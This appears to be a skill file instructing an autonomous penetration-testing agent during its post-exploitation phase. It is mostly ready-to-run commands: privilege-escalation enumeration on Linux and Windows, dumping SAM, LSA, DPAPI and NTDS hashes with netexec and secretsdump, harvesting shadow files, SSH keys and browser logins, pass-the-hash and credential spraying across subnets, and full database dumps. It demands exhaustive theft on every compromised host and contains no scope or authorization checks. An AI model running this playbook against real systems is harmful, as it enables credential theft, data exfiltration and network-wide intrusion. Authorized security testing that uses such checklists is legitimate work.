post-exploit-phase

name	post-exploit-phase
tags	["post_exploit"]
description	Post-exploitation phase — privilege escalation, lateral movement, credential dumping, data discovery. Use when the current phase is POST_EXPLOIT.

Post-Exploitation Checklist

Linux Privilege Escalation

# Quick wins
sudo -l                                    # sudo permissions
find / -perm -4000 -type f 2>/dev/null     # SUID binaries
find / -perm -2000 -type f 2>/dev/null     # SGID binaries
cat /etc/crontab; ls -la /etc/cron.*       # cron jobs
ls -la /etc/passwd /etc/shadow             # readable shadow?
uname -a                                   # kernel version → kernel exploits
cat /proc/version

# Credentials in files
grep -rli 'password\|passwd\|secret\|key' /etc/ /opt/ /var/ /home/ 2>/dev/null | head -30
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name ".env" 2>/dev/null | head -20
cat /home/*/.bash_history 2>/dev/null

# Network info
ss -tlnp
cat /etc/hosts
arp -a

# Automated
# Upload and run linpeas.sh or linux-exploit-suggester

Windows Privilege Escalation

whoami /priv                               # token privileges
whoami /groups                             # group membership
systeminfo                                 # OS version, hotfixes
net user; net localgroup administrators
cmdkey /list                               # stored credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # autologon

# Service misconfigs
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
icacls "<service_path>"                    # writable service binary?

# Unquoted service paths
wmic service get name,displayname,pathname | findstr /i /v "C:\Windows" | findstr /i /v """

# Automated: winPEAS, PowerUp, Seatbelt

Credential Dumping

Windows — netexec/crackmapexec (preferred, run ALL three in order)

# 1. SAM — local account hashes (always works with local admin)
netexec smb HOST -u USER -p PASS --sam

# 2. LSA — service passwords, cached domain creds, machine account, DPAPI system keys
netexec smb HOST -u USER -p PASS --lsa

# 3. DPAPI — FULL user secrets dump: browser passwords, vault, cookies, Credential Manager
# CRITICAL: bare --dpapi = EVERYTHING. Do NOT add subcommands (cookies/nosystem/wifi)
# Adding subcommands LIMITS the output. Always start with bare --dpapi.
netexec smb HOST -u USER -p PASS --dpapi

# 4. Domain Controller only — ALL domain hashes from NTDS.dit
netexec smb DC -u USER -p PASS --ntds

# 5. Fallback — SAM+LSA+NTDS in one shot via impacket
secretsdump.py DOMAIN/USER:PASS@HOST

Linux

cat /etc/shadow                            # if readable
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null  # SSH keys
cat /home/*/.ssh/authorized_keys 2>/dev/null
# Browser profiles
find /home -path "*/.mozilla/firefox/*/logins.json" 2>/dev/null
find /home -path "*/.config/google-chrome/*/Login Data" 2>/dev/null

Lateral Movement

# With found credentials
crackmapexec smb <subnet>/24 -u <user> -p '<password>'
crackmapexec winrm <subnet>/24 -u <user> -p '<password>'

# Pass-the-hash
impacket-psexec -hashes :<ntlm_hash> <user>@<target>
evil-winrm -i <target> -u <user> -H <ntlm_hash>

# SSH key reuse
ssh -i found_key <user>@<other_host>

Data Discovery

# Sensitive files
find / -name "*.sql" -o -name "*.db" -o -name "*.sqlite" 2>/dev/null
find / -name "*.kdbx" -o -name "*.key" -o -name "*.pem" 2>/dev/null
find / -name "flag*" -o -name "proof*" -o -name "secret*" 2>/dev/null

# Database extraction
mysqldump -u <user> -p<pass> --all-databases > dump.sql
pg_dumpall -U <user> > dump.sql

Host Exhaustion Checklist (EVERY compromised host must pass this)

Before considering a host "done", verify ALL of these were attempted:

• Privileges checked (whoami /priv OR sudo -l)
• Privesc attempted if path exists (Potato, SUID, kernel, cron)
• Credentials dumped (LSASS/SAM/shadow/SSH keys/config files/history)
• Found creds sprayed across ALL known hosts
• Network config enumerated (arp -a, route print, netstat, internal DNS)
• Internal services discovered (ss -tlnp / netstat -an) — may reveal services not visible externally
• Stored credentials checked (autologon, cmdkey, env vars, browser, config files)
• Neighboring hosts/subnets identified from network config

Phase Completion Criteria

Move to REPORTING when:

• Privilege escalation attempted on ALL accessed hosts (not just some)
• Credentials harvested from ALL accessed hosts and sprayed across ALL services
• Lateral movement paths explored from every pivot point
• Sensitive data identified
• All access levels documented
• No compromised host left un-post-exploited